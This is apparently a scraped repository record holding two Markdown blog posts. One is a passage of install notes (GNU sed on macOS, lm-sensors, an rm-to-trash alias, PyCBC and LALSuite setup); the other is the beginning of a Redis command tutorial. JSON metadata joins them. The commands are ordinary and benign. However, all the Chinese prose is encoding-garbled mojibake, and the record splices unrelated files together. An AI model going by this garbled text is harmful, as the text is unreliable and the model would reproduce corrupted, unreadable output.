Mac)\n\nmac่‡ชๅธฆ็š„sedๅ‘ฝไปค๏ผŒๅ› ไธบๅ…ถๆ˜ฏๅŸบไบŽbsd๏ผŒๆ‰€ไปฅไธŽๅธธ็”จ็š„gnuไธไธ€ๆ ท๏ผŒๆ‰€ไปฅๆœ€ๅฅฝ่ฟ˜ๆ˜ฏ่ƒฝๅคŸไฝฟ็”จgnuไธ‹็š„sed๏ผŒ้‚ฃไนˆๅฏนไบŽmac๏ผŒๅฐฑ้œ€่ฆ้€š่ฟ‡ๅ‘ฝไปค่กŒๆฅๅฎ‰่ฃ…gnu-sed๏ผŒๅ…ทไฝ“ๅฎ‰่ฃ…่ฟ‡็จ‹ๅฆ‚ไธ‹ๆ‰€็คบ๏ผš๏ผˆ[ref](https://blog.csdn.net/sun_wangdong/article/details/71078083)๏ผ‰๏ผˆ[ref](https://blog.csdn.net/xicikkk/article/details/52559433)๏ผ‰\n\n```shell\n$ brew install coreutils # optional...\n\n# ๆณจๆ„๏ผŒๅ‘ฝไปค่กŒไน‹่กŒๆญคๅฅๆ—ถ๏ผŒ่ฆๅœจ็”จๆˆทๆƒ้™ไธ‹๏ผŒไธ่ฆๅœจrootไธ‹\n# ๅ› ไธบๅœจrootไธ‹๏ผŒไผšๆ็คบไธๅฎ‰ๅ…จ๏ผŒ่ฟ™้‡Œไธป่ฆ็”จๅˆฐhomebrewๅทฅๅ…ท\n$ brew install gnu-sed --with-default-names \n$ brew install watch\n\n$ vi ~/.zshrc # zsh shell\n```\n\nๆทปๅŠ ไธ‹้ขไธคๅฅๅœจๆœซๅฐพ๏ผš\n\n```bash\nexport PATH=\"/usr/local/opt/gnu-sed/libexec/gnubin:$PATH\"\nalias sed=\"gsed\"\n```\n\n่ฟ™ๆ ท๏ผŒ`sed` ๅ‘ฝไปคๅฐฑๆ˜ฏ GNU ็š„ gsed ็š„ๅˆซๅไบ†ใ€‚\n\nๆœ€ๅŽ้‡ๆ–ฐๆฟ€ๆดป็Žฏๅขƒ้…็ฝฎ๏ผš\n\n```bash\n$ source ~/.zshrc\n```\n\n\n\n## lm-sensors\n\n[ref](https://zhidao.baidu.com/question/395389865205357005.html)\n\n- RHEL๏ผŒCentos๏ผŒFedora็ณปๅˆ—ๅฎ‰่ฃ…๏ผš\n\n```bash\n$ sudo yum install lm_sensors\n```\n\nโ€‹\tๆŸฅ็œ‹๏ผš\n\n```shell\n$ sudo sensors-detect\n$ sensors\n```\n\n- Debian๏ผŒUbuntu็ณปๅˆ—ๅฎ‰่ฃ…๏ผš\n\n```shell\n$ sudo apt-get install lm-sensors\n```\n\nโ€‹\tๆŸฅ็œ‹๏ผš\n\n```shell\n# ้…็ฝฎ (yes)\n$ sudo sensors-detect\n# ๅฏๅŠจ\n$ sudo service module-init-tools start\n# ๆŸฅ็œ‹\n$ sensors\n```\n\n\n\n\n\n\n\n## rmๅ‘ฝไปคๆ”น้€ -ๆŠŠๆ–‡ไปถๅˆ ้™คๅˆฐๅ›žๆ”ถ็ซ™\n\nๅ…ทไฝ“ๆ“ไฝœๅฆ‚ไธ‹๏ผš \n\nไธ€. ๅœจ็”จๆˆท็›ฎๅฝ•ๆ–ฐๅปบ`.trash`ๅ›žๆ”ถ็ซ™๏ผš\n\n```bash\n$ mkdir ~/.trash\n```\n\nไบŒ. ๅœจ`.bashrc`ๆœซๅฐพไธญๆทปๅŠ ๅฆ‚ไธ‹้…็ฝฎ๏ผš\n\nไฟฎๆ”นrm\n\n```bash\nalias rm=trash\nalias r=trash\nalias rl='ls ~/.trash/'\nalias ur=recoverfile\n\nrecoverfile()\n{\n mv -i ~/.trash/$@ ./\n}\n\ntrash()\n{\n mv $@ ~/.trash\n}\n```\n\nไฟฎๆ”นๅฎŒๆฏ•ๅŽ๏ผŒไฝฟ็”จ` $ source .bashrc` ๆ›ดๆ–ฐไธ‹๏ผŒ็„ถๅŽไฝ ๅฐฑๅฏไปฅไฝฟ็”จๅฆ‚ไธ‹ๅ‘ฝไปคไบ†๏ผš\n\n- `rm`: ๅˆ ้™คๆ–‡ไปถๅˆฐๅ›žๆ”ถ็ซ™\n- `rl`: ๆŸฅ็œ‹ๅ›žๆ”ถ็ซ™ๅ†…ๅฎน\n- `ur`: ๆขๅคๆ–‡ไปถๅˆฐๅฝ“ๅ‰็›ฎๅฝ•\n\n\n\n\n\n## Pycbc & LALSuite\n\nๅ…ˆๅœจ docker ไธญ็š„ๅฎ‰่ฃ… pip๏ผˆubuntu๏ผ‰๏ผš\n\n```shell\n$ apt install python-pip # 12.3MB\n$ pip install -U pip \n```\n\nๅœจ `/etc/apt/sources.list.d/lscsoft.list` ไธญๅ†™ๅ…ฅ๏ผš[REF](https://wiki.ligo.org/Computing/DASWG/DebianJessie)\n\n```powershell\ndeb http://software.ligo.org/lscsoft/debian jessie contrib\ndeb-src http://software.ligo.org/lscsoft/debian jessie contrib\n```\n\nLALSuite ๅฎ‰่ฃ…็š„ไธค็งๆ–นๆณ•๏ผš\n\n1. Easy Way\n\n ```shell\n $ apt-get update\n $ apt-get install lscsoft-archive-keyring\n ```\n\n2. Manual verification (better!)\n\n ```shell\n $ wget http://software.ligo.org/lscsoft/debian/pool/contrib/l/lscsoft-archive-keyring/lscsoft-archive-keyring_2016.06.20-2_all.deb\n $ openssl md5 -sha256 lscsoft-archive-keyring_2016.06.20-2_all.deb\n $ dpkg -i lscsoft-archive-keyring_2016.06.20-2_all.deb\n $ apt-get update\n ```\n\n๏ผˆOptional๏ผ‰You can install all the LSCSoft software by installing the `lscsoft-all` meta-package:\n\n```shell\n$ apt-get install lscsoft-all # ~5109 MB\n```\n\nๅฎ‰่ฃ… Pycbc๏ผš[REF](https://pycbc.org/pycbc/latest/html/install.html#simple-installation) \n\n```bash\n$ pip install pycbc # Not working....\n```\n\n\n\n\n\n\n\n\n\n\n\n\n๏ผˆๆŒ็ปญๆ›ดๆ–ฐไธญใ€‚ใ€‚ใ€‚ใ€‚๏ผ‰\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Ubuntu16.04_CUDA-9.2_cuDNN-7.3_MXNet-cu92_MyInstallitionNotes.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.696134090423584, "alphanum_fraction": 0.72389155626297, "avg_line_length": 28.657608032226562, "blob_id": "c2397ffd8ef72b25dc762d250b2f8d738c961ad6", "content_id": "e68f11b61d1b91aa6e48313e22e33988577436d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 16186, "license_type": "no_license", "max_line_length": 400, "num_lines": 368, "path": "/blog/posts/Redis_Tutorial.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Redis Tutorial\ndate: 2019-1-14\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n![](https://i.loli.net/2019/01/14/5c3c0bed0425b.png)\n\n***Redis* is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker.**\n\n---\n\n# Redis ่ถ…ๆต…ๆ˜พๅ…ฅ้—จๆ•™็จ‹\n\n## Redis ๆ˜ฏไป€ไนˆ๏ผŸ\n\n็ฉถ็ซŸๆ˜ฏไป€ไนˆๆ˜ฏ Redis ๅ‘ข๏ผŸๅฎ˜ๆ–น็š„ไป‹็ปๆ˜ฏ่ฟ™ๆ ทๅญๆปด๏ผš\n\n> *Redis* is an *open source* (*BSD licensed*), in-*memory data structure store*, *used* as a *database*, *cache*and *message broker*.\n>\n> โ€”โ€” ๆฅ่‡ช [Redis ๅฎ˜็ฝ‘](https://redis.io)\n\n\nRedisๆ˜ฏไธ€ไธชๅผ€ๆบ็š„ไฝฟ็”จ ANSI C ่ฏญ่จ€็ผ–ๅ†™ใ€้ตๅฎˆBSDๅ่ฎฎใ€ๆ”ฏๆŒ็ฝ‘็ปœใ€ๅฏๅŸบไบŽ**ๅ†…ๅญ˜**ไบฆๅฏๆŒไน…ๅŒ–็š„ๆ—ฅๅฟ—ๅž‹ใ€Key-Value ๆ•ฐๆฎๅบ“๏ผŒๅนถๆไพ›ๅคš็ง่ฏญ่จ€็š„ APIใ€‚ๅฎƒ้€šๅธธ่ขซ็งฐไธบๆ•ฐๆฎ็ป“ๆž„ๆœๅŠกๅ™จ๏ผŒๅ› ไธบๅ€ผ๏ผˆvalue๏ผ‰ๅฏไปฅๆ˜ฏ ๅญ—็ฌฆไธฒ(String)๏ผŒๅ“ˆๅธŒ(Map)๏ผŒๅˆ—่กจ(list)๏ผŒ้›†ๅˆ(sets) ๅ’Œๆœ‰ๅบ้›†ๅˆ(sorted sets)็ญ‰็ฑปๅž‹ใ€‚ไปŽ2010ๅนด3ๆœˆ15ๆ—ฅ่ตท๏ผŒRedis็š„ๅผ€ๅ‘ๅทฅไฝœ็”ฑVMwareไธปๆŒใ€‚ไปŽ2013ๅนด5ๆœˆๅผ€ๅง‹๏ผŒRedis็š„ๅผ€ๅ‘็”ฑPivotal่ตžๅŠฉใ€‚\n\n![](https://i.loli.net/2019/01/14/5c3c0c0ca2e8d.png)\n\n\n\n> ๆญคๆ–‡ๆ˜ฏไป€ไนˆ๏ผŸ\n>\n> ็ญ”๏ผš้’ˆๅฏน Redis ่ถ…็บงๆ–ฐๆ‰‹็š„ไธ€ไธชๅฟซ้€Ÿๅ…ฅ้—จๅฐๆ•™็จ‹๏ผŒๅŠ›ไบ‰ๅฎž็”จไธปไน‰่€…็š„็ฆ้Ÿณใ€‚\n>\n> ๆญคๆ–‡ไธๆ˜ฏไป€ไนˆ๏ผŸ\n>\n> ็ญ”๏ผšไธๆ˜ฏ Redis ็š„่ฏฆๅฐฝๆ•™็จ‹ๆ•™ๆ๏ผŒไธไผšๅฏนๅ†…้ƒจๅŽŸ็†ๅ’ŒๆŠ€ๆœฏ่ฟ‡ๅบฆ่งฃ้‡Š๏ผŒไฝ†ไผšๅฐฝๅฏ่ƒฝๅพ—้“พๆŽฅ็›ธๅ…ณ่ต„ๆ–™่ต„ๆบใ€‚\n\n## Redis ็š„ไผ˜็ผบ็‚น\n\n- ไผ˜็‚น\n - ๆ€ง่ƒฝๆž้ซ˜ โ€“ Redis่ƒฝ่ฏป็š„้€Ÿๅบฆๆ˜ฏ110000ๆฌก/s๏ผŒๅ†™็š„้€Ÿๅบฆๆ˜ฏ81000ๆฌก/s ใ€‚\n - ไธฐๅฏŒ็š„ๆ•ฐๆฎ็ฑปๅž‹ โ€“ Redisๆ”ฏๆŒไบŒ่ฟ›ๅˆถๆกˆไพ‹็š„ Strings, Lists, Hashes, Sets ๅŠ Ordered Sets ๆ•ฐๆฎ็ฑปๅž‹ๆ“ไฝœใ€‚\n - ๅŽŸๅญ โ€“ Redis็š„ๆ‰€ๆœ‰ๆ“ไฝœ้ƒฝๆ˜ฏๅŽŸๅญๆ€ง็š„๏ผŒๆ„ๆ€ๅฐฑๆ˜ฏ่ฆไนˆๆˆๅŠŸๆ‰ง่กŒ่ฆไนˆๅคฑ่ดฅๅฎŒๅ…จไธๆ‰ง่กŒใ€‚ๅ•ไธชๆ“ไฝœๆ˜ฏๅŽŸๅญๆ€ง็š„ใ€‚ๅคšไธชๆ“ไฝœไนŸๆ”ฏๆŒไบ‹ๅŠก๏ผŒๅณๅŽŸๅญๆ€ง๏ผŒ้€š่ฟ‡MULTIๅ’ŒEXECๆŒ‡ไปคๅŒ…่ตทๆฅใ€‚\n - ไธฐๅฏŒ็š„็‰นๆ€ง โ€“ Redis่ฟ˜ๆ”ฏๆŒ publish/subscribe, ้€š็Ÿฅ, key ่ฟ‡ๆœŸ็ญ‰็ญ‰็‰นๆ€งใ€‚\n- RedisไธŽๅ…ถไป–key-valueๅญ˜ๅ‚จๆœ‰ไป€ไนˆไธๅŒ๏ผŸ\n - Redisๆœ‰็€ๆ›ดไธบๅคๆ‚็š„ๆ•ฐๆฎ็ป“ๆž„ๅนถไธ”ๆไพ›ๅฏนไป–ไปฌ็š„ๅŽŸๅญๆ€งๆ“ไฝœ๏ผŒ่ฟ™ๆ˜ฏไธ€ไธชไธๅŒไบŽๅ…ถไป–ๆ•ฐๆฎๅบ“็š„่ฟ›ๅŒ–่ทฏๅพ„ใ€‚Redis็š„ๆ•ฐๆฎ็ฑปๅž‹้ƒฝๆ˜ฏๅŸบไบŽๅŸบๆœฌๆ•ฐๆฎ็ป“ๆž„็š„ๅŒๆ—ถๅฏน็จ‹ๅบๅ‘˜้€ๆ˜Ž๏ผŒๆ— ้œ€่ฟ›่กŒ้ขๅค–็š„ๆŠฝ่ฑกใ€‚\n - Redis่ฟ่กŒๅœจ**ๅ†…ๅญ˜**ไธญไฝ†ๆ˜ฏๅฏไปฅ**ๆŒไน…ๅŒ–**ๅˆฐ็ฃ็›˜๏ผŒๆ‰€ไปฅๅœจๅฏนไธๅŒๆ•ฐๆฎ้›†่ฟ›่กŒ้ซ˜้€Ÿ่ฏปๅ†™ๆ—ถ้œ€่ฆๆƒ่กกๅ†…ๅญ˜๏ผŒๅ› ไธบๆ•ฐๆฎ้‡ไธ่ƒฝๅคงไบŽ็กฌไปถๅ†…ๅญ˜ใ€‚ๅœจๅ†…ๅญ˜ๆ•ฐๆฎๅบ“ๆ–น้ข็š„ๅฆไธ€ไธชไผ˜็‚นๆ˜ฏ๏ผŒ็›ธๆฏ”ๅœจ็ฃ็›˜ไธŠ็›ธๅŒ็š„ๅคๆ‚็š„ๆ•ฐๆฎ็ป“ๆž„๏ผŒๅœจๅ†…ๅญ˜ไธญๆ“ไฝœ่ตทๆฅ้žๅธธ็ฎ€ๅ•๏ผŒ่ฟ™ๆ ทRedisๅฏไปฅๅšๅพˆๅคšๅ†…้ƒจๅคๆ‚ๆ€งๅพˆๅผบ็š„ไบ‹ๆƒ…ใ€‚ๅŒๆ—ถ๏ผŒๅœจ็ฃ็›˜ๆ ผๅผๆ–น้ขไป–ไปฌๆ˜ฏ็ดงๅ‡‘็š„ไปฅ่ฟฝๅŠ ็š„ๆ–นๅผไบง็”Ÿ็š„๏ผŒๅ› ไธบไป–ไปฌๅนถไธ้œ€่ฆ่ฟ›่กŒ้šๆœบ่ฎฟ้—ฎใ€‚\n - ๅธธ่งๆ•ฐๆฎๅบ“ๅฏนๆฏ”๏ผšใ€€(ๆฅๆบไบŽ๏ผš[ref](https://www.cnblogs.com/jing99/p/6112055.html))![](https://i.loli.net/2019/02/01/5c53ad282b63c.png)\n - **ไฝฟ็”จ Redis ่€Œไธๆ˜ฏ memcached ๆฅ่งฃๅ†ณ้—ฎ้ข˜๏ผŒไธไป…ๅฏไปฅ่ฎฉไปฃ็ ๅ˜ๅพ—ๆ›ด็ฎ€็Ÿญใ€ๆ›ดๆ˜“ๆ‡‚ใ€ๆ›ดๆ˜“็ปดๆŠค๏ผŒ่€Œไธ”่ฟ˜ๅฏไปฅไฝฟไปฃ็ ็š„่ฟ่กŒ้€Ÿๅบฆๆ›ดๅฟซ๏ผˆๅ› ไธบ็”จๆˆทไธ้œ€่ฆ้€š่ฟ‡่ฏปๅ–ๆ•ฐๆฎๅบ“ๆฅๆ›ดๆ–ฐๆ•ฐๆฎ๏ผ‰ใ€‚้™คๆญคไน‹ๅค–๏ผŒๅœจๅ…ถไป–่ฎธๅคšๆƒ…ๅ†ตไธ‹๏ผŒRedis็š„ๆ•ˆ็Ž‡ๅ’Œๆ˜“็”จๆ€งไนŸๆฏ”ๅ…ณ็ณปๆ•ฐๆฎๅบ“่ฆๅฅฝๅพ—ๅคšใ€‚**\n - ไฝฟ็”จ Redis ่€Œไธๆ˜ฏๅ…ณ็ณปๆ•ฐๆฎๅบ“ๆˆ–่€…ๅ…ถไป–็กฌ็›˜ๅญ˜ๅ‚จๆ•ฐๆฎๅบ“๏ผŒๅฏไปฅ**้ฟๅ…ๅ†™ๅ…ฅไธๅฟ…่ฆ็š„ไธดๆ—ถๆ•ฐๆฎ๏ผŒไนŸๅ…ๅŽปไบ†ๅฏนไธดๆ—ถๆ•ฐๆฎ่ฟ›่กŒๆ‰ซๆๆˆ–่€…ๅˆ ้™ค็š„้บป็ƒฆ**๏ผŒๅนถๆœ€็ปˆๆ”นๅ–„็จ‹ๅบ็š„ๆ€ง่ƒฝใ€‚\n\n---\n\n## Redis ๅ‚่€ƒ่ต„ๆ–™\n\n- **Redis** official website: http://redis.io\n\n- **Redis** ไธญๆ–‡ๆ•™็จ‹๏ผšhttp://www.runoob.com/redis/redis-tutorial.html\n- **Redis** ไธญๆ–‡ๅ‘ฝไปคๅคงๅ…จ๏ผšhttp://redisdoc.com/index.html\n- **Redis** ็š„ๅฎ˜ๆ–น่ฏฆๅฐฝๅ‚่€ƒๅญฆไน ่ต„ๆ–™ [Redis Command Reference](http://redis.io/commands) ๅ’Œ [Redis Documentation](http://redis.io/documentation)ใ€‚\n\n- [ๅฆ‚ไฝ•ๅœจ Python ่ฏญ่จ€ไธ‹่ฐƒ็”จ docker ็Žฏๅขƒๅฎ‰่ฃ…็š„ Redis](http://gree2.github.io/python/2016/05/14/python-with-docker-redis)\n- [Redisใ€ๅ…ฅ้—จใ€‘ๅฐฑ่ฟ™ไธ€็ฏ‡๏ผ](https://zhuanlan.zhihu.com/p/37982685)๏ผˆ็ŸฅไนŽ๏ผ‰\n- **Redis** ๅœจ็บฟๅญฆไน ๅฐ็จ‹ๅบ๏ผšhttp://try.redis.io\n\n\n\n[TOC]\n\n![](https://i.loli.net/2019/01/14/5c3c0c34e6d93.jpeg)\n\n\n\n---\n\n> A [TUTORIAL](http://try.redis.io/) for Redis.\n\n\n\n## ๅŸบๆœฌๆŒ‡ไปค SET/GET/INCR/DEL\n\nRedis ้‡Œ็š„ๆ•ฐๆฎ้ƒฝๆ˜ฏๆ‰€่ฐ“็š„ key-value ๅ‚จๅญ˜ไฝ“็ณป๏ผŒ้€šๅธธไนŸ็งฐไธบๆ˜ฏ NoSQL (Not Only SQL) ๆ•ฐๆฎๅบ“๏ผŒๆ„ๆ€ๆ˜ฏโ€œไธไป…ไป…ๆ˜ฏSQLโ€ใ€‚ๅฏนไบŽโ€œ้”ฎ-ๅ€ผโ€ๅฏนๅฝขๅผ็š„ๆ•ฐๆฎๅ‚จๅญ˜็ป“ๆž„๏ผŒๅ…ณ้”ฎๆ˜ฏๅฏนไบŽๆŸไธช key๏ผŒ่‚ฏๅฎšๅญ˜ๅœจๆ•ฐๆฎไธŽไน‹ๅฏนๅบ”๏ผŒๅซๅš valueใ€‚ไปฅๅŽๅช่ฆๅ‘Š่ฏ‰ Redis ๅ‡†็กฎ็š„ๆŸ key๏ผŒๅฐฑไผšๅพ—ๅˆฐ็›ธๅบ”็š„ valueใ€‚ๆˆ‘ไปฌๅฏไปฅ็”จ [SET](http://redisdoc.com/string/set.html) ๆŒ‡ไปคๆฅๅฐ†ไธ€ไธชไธบ `fido` ็š„ value ๅ‚จๅญ˜ๅœจ key `server:name` ไธญ๏ผš\n\n```\nSET server:name \"fido\"\n```\n\n่ฟ™ไธชๆŒ‡ไปคไธ€ๆ‰“ๅ‡บๅŽป๏ผŒRedis ๅฐฑไผšๆฐธไน…็š„ๅ‚จๅญ˜ไบ†่ฟ™ไธ€ๅฏนๆ•ฐๆฎใ€‚ไบŽๆ˜ฏไนŽ๏ผŒๅฝ“ๆˆ‘ไปฌๆƒณ่ฆ็”จ [GET](http://redisdoc.com/string/get.html) ๆŒ‡ไปค้—ฎ Redis โ€œไธ€ไธช key ไธบ `server:name` ็š„ value ๆ˜ฏๅ•ฅๆฅ็€๏ผŸโ€๏ผŒ้‚ฃไนˆ Redis ๅฐฑไผš่ฟ™ๆ ทๅ›ž็ญ”ไฝ ๏ผš\n\n```bash\nGET server:name # => \"fido\"\n```\n\n๏ผˆๆณจ๏ผšไธŠ้ขไปฃ็ ้‡Œ็š„็ฌฆๅท \"=>\" ่กจ็คบไผšๅพ—ๅˆฐ็š„็ณป็ปŸ่ฟ”ๅ›ž็ป“ๆžœ๏ผ‰\n\nไป‹็ปไบ†โ€œๅขžโ€ๅ’Œโ€œๆŸฅโ€ไบ†ไปฅๅŽ๏ผŒ้‚ฃๅฐฑๆ˜ฏ่ฆไป‹็ปไธ€ไธ‹โ€œๅˆ โ€ใ€‚[DEL](http://redisdoc.com/database/del.html) ่ฟ™ไธชๆŒ‡ไปคๅฐฑๅฏไปฅๅˆ ้™คไธ€ไธช็ป™ๅฎš็š„ key ๅŠๅ…ถไธŽไน‹็›ธๅฏนๅบ”็š„ valueใ€‚ๆญคๅค–๏ผŒSET-if-not-exists ๏ผˆไนŸๅฐฑๆ˜ฏ [SETNX](http://redisdoc.com/string/setnx.html) ๆŒ‡ไปค๏ผ‰ๆ˜ฏ่ฏดๅขžๅŠ ไธ€ไธช key ๅœจๅฝ“ๅ‰ไป…ๅฝ“ Redis ไธญ่ฟ˜ไธๅญ˜ๅœจ่ฟ™ไธช key ็š„ๆ—ถๅ€™ใ€‚ๅฏนไบŽๅทฒ็ปๅญ˜ๅœจ็š„ key ๆฅ่ฏด๏ผŒ่ฆ็”จ [INCR](http://redisdoc.com/string/incr.html) ๆŒ‡ไปคๆฅๅฎž็Žฐๅœจ็›ธๅบ”็š„ key ไธŠๅฏน value ๆ•ฐๅ€ผๅŠ ไธ€ใ€‚็œ‹ไธ‹้ข็š„ไพ‹ๅญไฝ“ไผšไธ€ไบŒ๏ผš\n\n```bash\nSET connections # 10\nINCR connections # => 11\nINCR connections # => 12\nDEL connections\nINCR connections # => 1\n```\n\nๅฏไปฅ็œ‹ๅˆฐ INCR ๆŒ‡ไปคๅพˆ้€‚ๅˆไฝœไธบไธ€ไธช็ฎ€ๅ•่ฎกๆ•ฐๅ™จๆฅไฝฟ็”จใ€‚ไฝ†ๆˆ–่ฎธไฝ ไผš็–‘ๆƒ‘๏ผŒ่ฎกๆ•ฐไธๅฐฑๆ˜ฏๆ•ฐๅญฆ่ฟ็ฎ—โ€œ+1โ€่ฟ™ไนˆ็ฎ€ๅ•ๅ‘—๏ผŒๆŠŠๅฏนๅบ” key ็š„ value ็”จ GET ๆŒ‡ไปคๆ‹ฟๅ‡บๆฅ๏ผŒ่ฟ็ฎ—ไธ€ไธ‹ๅŽ๏ผŒๅ† SET ๅ›žๅˆฐ Redis ๆ•ˆ็Ž‡ๆ˜ฏไธ€ๆ ท็š„ๅ˜›๏ผŸๅ…ถๅฎžๅฏนไบŽไธ€ไธช็ซฏ๏ผˆclient๏ผ‰ๆฅ่ฏด็กฎๅฎžๅฆ‚ๆญค๏ผŒไฝ†ๅฏนไบŽๅคšไธช็ซฏๅŒๆ—ถ่ฟ›่กŒ่ฎกๆ•ฐ็š„่ฏๅฐฑๆ˜Žๆ˜พไธๆ˜ฏไบ†๏ผŒๆฏ”ๅฆ‚ไธ‹้ข่ฟ™ไธชๅฐๅไพ‹๏ผš\n\n1. A ็ซฏ้€š่ฟ‡ GET ๅพ—ๅˆฐๅไธบ `count` ็š„ KEY๏ผŒๅ…ถ value ๆ˜ฏ 10.\n2. ๅŒ็†๏ผŒB ็ซฏไนŸ GET `count`็š„ value ๆ˜ฏ 10.\n3. A ็ซฏ่ฎกๆ•ฐ่ฟ็ฎ—ๅŽ่ฆ SET `count` ไธบ 11.\n4. B ็ซฏ่ฎกๆ•ฐ่ฟ็ฎ—ๅŽไนŸ่ฆ SET `count` ไธบ 11.\n\nไธŠ้ขๅฐฑๆ˜ฏๅŒๆ—ถๅคš็ซฏๅŒๆ—ถ่ฎกๆ•ฐ็š„ๆ•ˆๆžœ๏ผŒไฝ†ๆˆ‘ไปฌๆœŸๅพ…็š„ๆ˜ฏๆœ€ๅŽ่ฎกๆ•ฐไธบ 12๏ผŒไธๆ˜ฏ 11 ๅ“ฆ๏ผ่ฟ™้‡Œ็š„ๅ…ณ้”ฎ่ฆ็ด ๆ˜ฏ่ฟ™ไธชไพ‹ๅญ็š„ๆ“ไฝœไธๆ˜ฏ atomic operation๏ผˆๅŽŸๅญๆ“ไฝœ๏ผ‰ใ€‚่€Œ INCR ๆŒ‡ไปคๅฐฑๅฏไปฅ้ฟๅ…ไธŠ้ขไพ‹ๅญ็š„ๆƒ…ๅ†ต๏ผŒๅ› ไธบๅฎƒๅฐฑๆ˜ฏ atomic ็š„ๆ•ฐๆฎๆ“ไฝœใ€‚ๅฐฑ็ฎ—ๆ˜ฏไฝ ๅ†ๅพˆๅคš็š„ๅคๆ‚็ซฏๅŒๆ—ถ็ป™ๅ‡บ่ฆโ€œ่ฎกๆ•ฐโ€็š„ๆ•ฐๆฎๆ“ไฝœ่ฏทๆฑ‚๏ผŒ้ƒฝไธไผšไนฑ๏ผŒๅœจ Redis ไธญๆœ‰ๅพˆๅคš็ฑปไผผ atomic ็š„ๆ•ฐๆฎๆ“ไฝœ็”จๅœจๅ„็งๅ„ๆ ท็ฑปๅž‹็š„ๆ•ฐๆฎไธŠใ€‚\n\n\n\n## ๅŸบๆœฌๆŒ‡ไปค EXPIRE/TTL\n\nๅœจ Redis ไธญ๏ผŒๅฏไปฅ่ฎฉๆŸๆŒ‡ๅฎš็š„ key ๅญ˜ๅœจๅœจๅ†…ๅญ˜ไธญไธ€ๆฎตๆœ‰้™็š„ๆ—ถ้—ดใ€‚ๅฐฑๅฅฝๆฏ”ๆ˜ฏ็ป™ๆŸๆ•ฐๆฎ่ฎพๅฎšไธ€ไธชโ€œ่‡ชๆฏๅ€’่ฎกๆ—ถโ€ไผผ็š„๏ผŒ่ฟ™ๆ˜ฏ้€š่ฟ‡ [EXPIRE](http://redisdoc.com/expire/expire.html) ๅ’Œ [TTL](http://redisdoc.com/expire/ttl.html) ๆŒ‡ไปคๆฅๅฎž็Žฐ๏ผš\n\n```bash\nSET resource:lock \"Redis Demo\"\nEXPIRE resource:lock 120\n```\n\nไธŠ้ขไพ‹ๅญ็š„็ฌฌไบŒ่กŒๅฐฑๆ˜ฏๅœจ่ฆๆฑ‚ key ไธบ `resource:lock` ็š„ๆ•ฐๆฎๅฐ†ไผšๅœจ 120 ็ง’ๅŽ่‡ชๅŠจๅˆ ้™คใ€‚ไฝ ๅฏไปฅๅœจ่ฟ™ๆฎต 120 ็ง’็š„็ญ‰ๅพ…ๆ—ถ้—ด้‡Œ๏ผŒ็”จ TTL ๆŒ‡ไปคๆฅๆต‹่ฏ•ๆŸ key ่ฟ˜่ƒฝ\"ๆดป\"ๅคšไน…๏ผŸTTL ๆŒ‡ไปคไผš่ฟ”ๅ›ž่ขซๅˆ ้™คๅ‰็š„ๅ‰ฉไฝ™ๆ—ถ้—ดใ€‚\n\n```bash\nTTL resource:lock # => 113\n# after 113s\nTTL resource:lock # => -2\n```\n\nTTL ๆŒ‡ไปค่ฟ”ๅ›ž -2 ็š„ๆ„ๆ€ๅฐฑๆ˜ฏ่ฏฅ key ๅทฒ็ปไธๅญ˜ๅœจไบ†๏ผŒ่ฟ”ๅ›ž -1 ็š„ๆ„ๆ€ๅฐฑๆ˜ฏ่ฏฅ key ่ฟ˜ๆฒกๆœ‰่ขซ EXPIRE ๆ“ไฝœ่ฟ‡ใ€‚ๅฆ‚ๆžœ็”จ SET ๆŒ‡ไปคๆ“ไฝœ่ฟ‡่ฏฅ key๏ผŒ\"่‡ชๆฏๅ€’่ฎกๆ—ถ\"ไผš่งฃ้™ค๏ผŒTTL ๆŒ‡ไปคๅฐ†ไผš่ขซ้‡็ฝฎ๏ผš\n\n```bash\nSET resource:lock \"Redis Demo 1\"\nEXPIRE resource:lock 120\nTTL resource:lock # => 119\nSET resource:lock \"Redis Demo 2\"\nTTL resource:lock # => -1\n```\n\n\n\n## ๆ•ฐๆฎ็ป“ๆž„๏ผšlist\n\nRedis ไนŸๅฏไปฅไฝฟ็”จๆ›ดๅคๆ‚ไบ›็š„ๆ•ฐๆฎ็ป“ๆž„๏ผŒไนŸไธๆ˜ฏๆ•ฐๅ€ผ้‚ฃไนˆ็ฎ€ๅ•๏ผŒ้ฆ–ๅ…ˆๆฅไป‹็ปไธ€ไธ‹ `list`ใ€‚`list` 